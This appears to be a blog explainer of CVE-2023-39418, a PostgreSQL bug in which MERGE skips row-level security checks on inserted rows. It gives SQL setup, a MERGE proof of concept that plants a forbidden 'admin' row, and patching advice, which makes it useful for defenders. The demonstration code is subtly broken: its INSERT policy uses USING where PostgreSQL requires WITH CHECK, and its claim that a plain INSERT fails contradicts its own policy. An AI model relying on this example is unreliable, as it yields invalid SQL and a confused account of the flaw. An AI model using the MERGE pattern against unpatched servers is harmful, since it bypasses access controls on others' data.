CVE-2023-39418 - PostgreSQL MERGE Command Security Flaw – How Attackers Can Bypass Row Security
PostgreSQL is famous for its strong security and powerful role-based access system. However, security isn’t a one-and-done job—vulnerabilities can creep in. One such case is CVE-2023-39418, a critical flaw in how PostgreSQL handles the MERGE command with Row Security Policies (RLS). This bug can let unauthorized users sneak in rows that should be blocked. In this deep dive, we’ll break down what went wrong, how it works, and what you need to know.
What Is CVE-2023-39418?
CVE-2023-39418 is a vulnerability found in PostgreSQL’s relatively new MERGE SQL command. The command is meant to combine INSERT, UPDATE, or even DELETE operations depending on whether a matching row exists. When MERGE interacts with Row Security Policies (RLS), an oversight lets malicious users insert rows that would otherwise be blocked if they tried using just INSERT or UPDATE.
Official Reference
- NIST NVD - CVE-2023-39418
- PostgreSQL Security Release July 2023
Understanding the Root Cause
When RLS is enabled, you can write different policies for INSERT, UPDATE, and SELECT (as well as DELETE). These policies let you control very precisely which rows different users can touch or see.
But in PostgreSQL before versions 16, 15.4, 14.9, 13.12, and 12.16, the MERGE command didn’t properly check row security policies for newly created rows that were being INSERTed by the MERGE, when policies for UPDATE and SELECT would have blocked them.
UPDATE and SELECT policies forbid viewing or updating admin users.
- An attacker can use MERGE to sneak in an admin user row, which can't later be seen or updated by anyone else.
How the Exploit Works (With Code Snippet)
Let’s walk through a simple example showing how someone might abuse this bug.
Setup Example Table & RLS
-- Step 1: Create a sample users table
CREATE TABLE users (
id serial PRIMARY KEY,
username text,
role text,
active boolean
);
-- Step 2: Enable row level security
ALTER TABLE users ENABLE ROW LEVEL SECURITY;
-- Step 3: Add an INSERT policy (let anyone insert active users)
CREATE POLICY user_insert_policy
ON users
FOR INSERT
USING (active = true);
-- Step 4: Add an UPDATE policy (no one can update admins)
CREATE POLICY user_update_policy
ON users
FOR UPDATE
USING (role <> 'admin');
-- Step 5: Add a SELECT policy (regular users can only see non-admins)
CREATE POLICY user_select_policy
ON users
FOR SELECT
USING (role <> 'admin');
Normal users can only insert active users, can’t see or update admin rows.
Abusing MERGE With the Vulnerability
Suppose a row for username='sneaky', role='admin', active=true does not exist yet.
MERGE INTO users u
USING (VALUES ('sneaky', 'admin', true)) AS vals(username, role, active)
ON u.username = vals.username
WHEN MATCHED THEN
UPDATE SET active = vals.active
WHEN NOT MATCHED THEN
INSERT (username, role, active)
VALUES (vals.username, vals.role, vals.active);
Why is this a problem?
- Even though UPDATE and SELECT policies should forbid *admin* rows, the INSERT policy allows it (since active=true).
- Because MERGE failed to check new rows against all relevant policies (in vulnerable versions), the admin row is created.
- The row is now "lost": neither regular users nor admins (assuming correct policies) can see or update it.
How Attackers Can Exploit
Scenario:
Suppose an app exposes a MERGE endpoint for bulk upserts. A user sends crafted data including forbidden role='admin', and it slips past the usual RLS policies, polluting the table.
Here’s a minimal demonstration as a test user
-- Assume setup and policies above
-- Try creating a forbidden row using plain INSERT (should fail):
INSERT INTO users (username, role, active) VALUES ('testhacker', 'admin', true);
-- Error: violates row security policy for table "users"
-- Now, try using MERGE (on a vulnerable server):
MERGE INTO users u
USING (VALUES ('testhacker', 'admin', true)) AS vals(username, role, active)
ON u.username = vals.username
WHEN NOT MATCHED THEN
INSERT (username, role, active)
VALUES (vals.username, vals.role, vals.active);
-- Succeeds! (Row created invisibly, can't be SELECTed or UPDATED.)
Who Is Impacted?
- Anyone using PostgreSQL 15.3 and earlier, 14.7 and earlier, 13.10 and earlier, and so on, IF you use RLS and MERGE.
- Multi-tenant SaaS systems, regulated data handling tables, and any app that relies on RLS for business logic enforcement are at risk.
How to Defend Against This Vulnerability
1. Update PostgreSQL ASAP:
Upgrade to PostgreSQL 16, 15.4, 14.9, 13.12, 12.16, or later. All are patched.
2. Restrict MERGE:
Until you upgrade, block users from running the MERGE command using database permissions, or audit your application.
3. Test Row Policies:
Review all your RLS policies. Don’t assume that MERGE will respect them the same as individual INSERT/UPDATE.
4. Monitor Table Integrity:
Check for suspicious or "missing" rows (rows that fail SELECT policies but should not exist) in important tables.
Links and Further Reading
- PostgreSQL Security Release Notes: July 2023
- MITRE CVE Record – CVE-2023-39418
- NIST NVD – CVE-2023-39418
- Row Level Security in PostgreSQL (Official Docs)
- How MERGE Works in PostgreSQL
Wrap Up
CVE-2023-39418 shows how even robust systems like PostgreSQL can have unexpected cracks—especially when complex features like MERGE collide with fine-grained security controls. If you use RLS and the MERGE command, do a risk audit and upgrade soon. Staying secure means staying updated!
Timeline
Published on: 08/11/2023 13:15:00 UTC
Last modified on: 08/18/2023 17:38:00 UTC